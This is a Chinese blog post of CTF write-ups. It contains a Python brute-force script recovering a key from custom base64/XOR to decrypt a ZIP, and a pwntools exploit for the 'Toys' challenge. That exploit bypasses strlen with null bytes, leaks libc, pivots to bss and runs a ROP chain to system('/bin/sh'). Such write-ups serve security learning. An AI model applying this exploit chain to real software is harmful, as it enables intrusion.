第一步我们看见初始化函数里面有一个反调试和替换base码表

然后反调试和判断输入长度是否为4,分析这个逻辑

base64和两次 xor运算,进入下一步

最后XOR一下对zip解密即可

脚本如下

import base64
import string
from itertools import product

# 自定义Base64字符表
TABLE = [
    1, 87, 44, 124, 199, 114, 32, 112, 165, 150, 33, 220, 168, 118, 105, 20, 197, 36, 37, 2, 183, 122, 252, 240, 196, 73,
    86, 194, 193, 149, 236, 38, 204, 247, 255, 115, 225, 63, 132, 70, 169, 249, 61, 14, 69, 241, 218, 146, 206, 59, 60, 160,
    22, 188, 45, 189, 164, 50, 144, 98, 157, 12, 222, 173, 64, 207, 75, 77, 110, 121, 200, 133, 210, 172, 153, 232, 30, 201,
    212, 6, 52, 102, 184, 211, 19, 244, 66, 27, 99, 95, 130, 91, 145, 42, 51, 93, 185, 125, 213, 108, 13, 40, 8, 155, 24,
    46, 162, 103, 90, 230, 138, 25, 80, 156, 177, 239, 31, 18, 186, 134, 131, 119, 96, 148, 253, 246, 84, 191, 161, 147, 3,
    231, 88, 229, 154, 127, 34, 190, 217, 56, 39, 101, 215, 35, 251, 113, 250, 143, 245, 109, 81, 158, 214, 139, 137, 17,
    202, 15, 142, 203, 179, 187, 242, 135, 117, 92, 47, 152, 43, 28, 180, 198, 10, 76, 54, 26, 21, 136, 29, 228, 195, 151,
    83, 48, 74, 58, 181, 97, 85, 192, 167, 219, 41, 104, 226, 224, 16, 9, 65, 49, 243, 175, 182, 106, 111, 0, 5, 11, 227,
    209, 141, 71, 116, 120, 123, 100, 221, 171, 176, 57, 55, 254, 237, 82, 205, 129, 248, 170, 72, 107, 208, 235, 140, 68,
    89, 23, 159, 79, 178, 53, 163, 126, 238, 78, 223, 233, 7, 67, 166, 174, 216, 234, 128, 62, 4, 94
]

A = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
B = "TSRQPONMLKJIHGFEDCBAUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

ENCODE_MAP = str.maketrans(A, B)
DECODE_MAP = str.maketrans(B, A)

def get_xor_masks():
    """返回用于异或操作的掩码列表"""
    return [0xc, 2, 2, 5, 5, 2, 2]

def encode_custom_base64(input_data):
    """使用自定义Base64字符表对输入数据进行编码"""
    if isinstance(input_data, str):
        input_data = input_data.encode('utf-8')

    # 标准 Base64 编码
    standard_base64 = base64.b64encode(input_data).decode('utf-8')

    # 使用自定义字符表替换
    custom_base64 = standard_base64.translate(ENCODE_MAP)

    # 计算填充符号
    padding_count = custom_base64.count("=")

    # 生成掩码
    masks = get_xor_masks()

    result = []
    # 对非填充字符进行异或操作
    for i in range(len(custom_base64) - padding_count):
        result.append(ord(custom_base64[i]) ^ masks[0])

    # 对填充符号进行处理
    result.extend([0x3D] * padding_count)

    # 进行位置异或
    for i, mask in zip([0, 2, 3, 4, 5, 7], masks[1:]):
        result[i] ^= mask

    return result

def decrypt_data(data_buffer, key):
    """对加密数据进行解密"""
    for i in range(4):
        if data_buffer[i] != 0:
            offset = i % 8
            temp = key[offset] ^ TABLE[key[offset]]
            data_buffer[i] = temp ^ data_buffer[i] ^ key[(i % 2) + 4]

    return data_buffer

def find_key():
    """尝试找到正确的密钥"""
    char_set = string.ascii_letters + "0123456789"
    for candidate in product(char_set, repeat=4):
        candidate_str = "".join(candidate)
        encrypted_data = b'\x0e\xe1\xe5\xf9'
        data_buffer = bytearray(encrypted_data)

        # 编码候选密钥
        key = encode_custom_base64(candidate_str)

        # 解密数据
        decrypted_data = decrypt_data(data_buffer, key)

        # 判断解密结果是否为有效的ZIP文件标志
        if b"PK\x03\x04" in decrypted_data[:4]:
            print(candidate_str)

if __name__ == '__main__':
    find_key()

【Toys】- PWN

Ida打开分析,进入main函数

可以看到有fgets的读入,很明显的溢出行为。
有个strlen的检测,但是根据fgets的特性可知,\x00是不会截断的,而strlen会截断,故可以输入\x00绕过strlen检查。

ROPgadget查看发现没有可利用gadget,检查程序发现一个函数会将rax变成指向stdout地址。

配合这里的mov rdi,rax;call puts可以实现libc泄露。

把rbp迁至bss段实现二次溢出,这个时候即可rop getshell。

Exp:

from pwn import *

p = process(‘./pwn’)
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
bss = elf.bss()+0x800
payload1 = b'\x00'*0x80+p64(bss)+p64(0x0000000000401130)+p64(0x000000000401258)
p.sendlineafter('ta: ',payload1)
p.recvuntil('K!\n')
libc.address = u64(p.recvline()[:-1]+p16(0))-0x2045c0
print('libc:',hex(libc.address))
rdi_ret = libc.address+0x000000000010f75b
payload2 = b'\x00'*0x88+p64(rdi_ret+1)+p64(rdi_ret)+p64(next(libc.search(b'/bin/sh')))+p64(libc.symbols['system'])
p.sendlineafter('ta: ',payload2)
p.interactive()

【Gender-simulation】- PWN

有一说一我蚌埠住了,CTF生涯最蚌埠住的事件,我没看到这题要求5分钟内上交wp,搞笑吧!!!
就因为这一题分数扣掉了,我离全国第一痛失交臂!!!
最后含泪拿下全国第二,一等奖qwq
这题不想写wp了,警钟长鸣

  • 本文作者:Junius
  • 本文链接: https://enc.edu.pl/?post=11
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
文章很赞!支持一下吧 还没有人为TA充电
为TA充电
还没有人为TA充电
2
2
  • 支付宝打赏
    支付宝扫一扫
  • 微信打赏
    微信扫一扫
感谢支持
文章很赞!支持一下吧
关于作者
20
0
1
0
内卷太严重,已躺平...

反派出场片段

上一篇

在那无能为力者的梦境里

下一篇
评论区
  1. Jacaranda
    神评logo
    无冕之王
    回复
    7 个月前
    Windows
    Edge浏览器
    外星

没有更多啦

  • 复制图片
按住ctrl可打开默认菜单